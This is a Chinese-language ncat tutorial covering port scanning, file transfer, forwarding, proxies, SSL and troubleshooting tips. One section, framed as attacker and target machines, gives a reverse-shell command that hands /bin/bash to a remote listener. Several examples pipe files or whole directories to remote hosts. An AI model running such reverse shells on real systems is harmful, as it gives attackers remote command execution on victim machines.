ncat 是 nmap 项目的一部分,是传统 netcat 的增强版本。它支持 SSL、IPv6、代理连接等多种功能,可用于端口扫描、文件传输、端口转发、网络调试等。
ncat 通常随 nmap 软件包一起安装:
sudo apt-get install nmap
sudo yum install nmap
# CentOS 8+使用dnf
sudo dnf install nmap
sudo dnf install nmap
sudo pacman -S nmap
ncat --version
ncat [选项] [主机] [端口]
| 选项 | 说明 |
|---|---|
-l 或 --listen |
监听模式,作为服务器 |
-k 或 --keep-open |
保持监听模式,接受多个连接 |
-p 或 --source-port |
指定源端口 |
-v 或 --verbose |
显示详细信息(可重复使用 -vv 更详细) |
-z |
零I/O模式,用于端口扫描 |
-w 或 --wait |
设置连接超时时间(秒) |
-u 或 --udp |
使用UDP协议(默认TCP) |
--ssl |
使用SSL/TLS加密连接 |
--allow |
允许特定的主机连接 |
--deny |
拒绝特定的主机连接 |
--exec |
执行指定的命令 |
--send-only |
只发送数据,不接收 |
--recv-only |
只接收数据,不发送 |
--chat |
启用聊天服务器模式 |
-h 或 --help |
显示帮助信息 |
# 扫描目标主机的1-1000端口
ncat -zv 192.168.1.100 1-1000
# 扫描特定端口
ncat -zv 192.168.1.100 22
# UDP端口扫描
ncat -zvu 192.168.1.100 53
服务器端(监听端口1234):
# 监听端口1234
ncat -l 1234
# 保持监听,接受多个连接
ncat -lk 1234
客户端(连接服务器):
# 连接到服务器的1234端口
ncat 192.168.1.100 1234
发送文件(从Server到Client):
# 接收方(监听端口1234,准备接收文件)
ncat -l 1234 > received_file.txt
# 发送方(发送文件)
ncat 192.168.1.100 1234 < file_to_send.txt
接收文件(从Client到Server):
# 接收方(监听端口1234,准备接收文件)
ncat -l 1234 > backup.tar.gz
# 发送方(发送文件)
tar -czf - /home/user | ncat 192.168.1.100 1234
攻击机(监听端口4444):
ncat -lv 4444
目标机(连接回攻击机):
ncat 192.168.1.100 4444 -e /bin/bash
# 将本地8080端口转发到远程服务器的80端口
ncat -lk 8080 --sh-exec "ncat 192.168.1.100 80"
# 使用代理
ncat --proxy 192.168.1.1:8080 --proxy-type http www.example.com 80
服务器端(使用SSL加密):
# 生成SSL证书(如果需要)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
# 启动SSL服务器
ncat -l 8443 --ssl --ssl-cert cert.pem --ssl-key key.pem
客户端(SSL连接):
ncat --ssl 192.168.1.100 8443
# 服务器端
ncat -l 9999 --chat
# 多个客户端连接
ncat 192.168.1.100 9999
| 特性 | ncat | 传统netcat |
|---|---|---|
| SSL/TLS支持 | ✓ 内置支持 | ✗ 需要外部工具 |
| IPv6支持 | ✓ 完整支持 | ✗ 有限支持 |
| 代理支持 | ✓ HTTP/SOCKS | ✗ 无 |
| 连接重定向 | ✓ 内置 | ✗ 需要脚本 |
| 聊天模式 | ✓ 内置 | ✗ 无 |
| Nmap集成 | ✓ 紧密集成 | ✗ 无 |
| 连接限制 | ✓ 可配置 | ✗ 有限 |
| 性能 | ⭑ 中等 | ⭑⭑ 更快 |
# 检查特定端口是否开放
echo "" | ncat -w 3 192.168.1.100 22
# 测试网络延迟
time echo "test" | ncat 192.168.1.100 80
# 简单的HTTP服务器
echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>Hello World</h1>" | ncat -lk 8080
# 测试MySQL端口
echo "" | ncat -w 5 mysql-server 3306
# 测试Redis
echo "PING\r\n" | ncat redis-server 6379
# 监听并记录所有连接尝试
ncat -lk 2222 -v >> connection_log.txt 2>&1
# 简单的HTTP代理
ncat -lk 8888 --proxy-type http
# SOCKS代理
ncat -lk 1080 --proxy-type socks5
A: ncat是nmap项目的一部分,是netcat的增强版本。主要区别:
A: ncat本身不直接支持限速,但可以结合其他工具:
# 使用pv控制传输速度
tar -czf - /data | pv -L 100k | ncat 192.168.1.100 1234
A: 是的,ncat完全支持IPv6。使用IPv6地址时需要用方括号括起来:
ncat -l ::1 8080
ncat [2001:db8::1] 80
A: 可以使用nohup、screen或systemd服务:
# 使用nohup
nohup ncat -lk 8080 > /dev/null 2>&1 &
# 使用screen
screen -dmS ncat_server ncat -lk 8080
--exec选项可以执行任意命令处理连接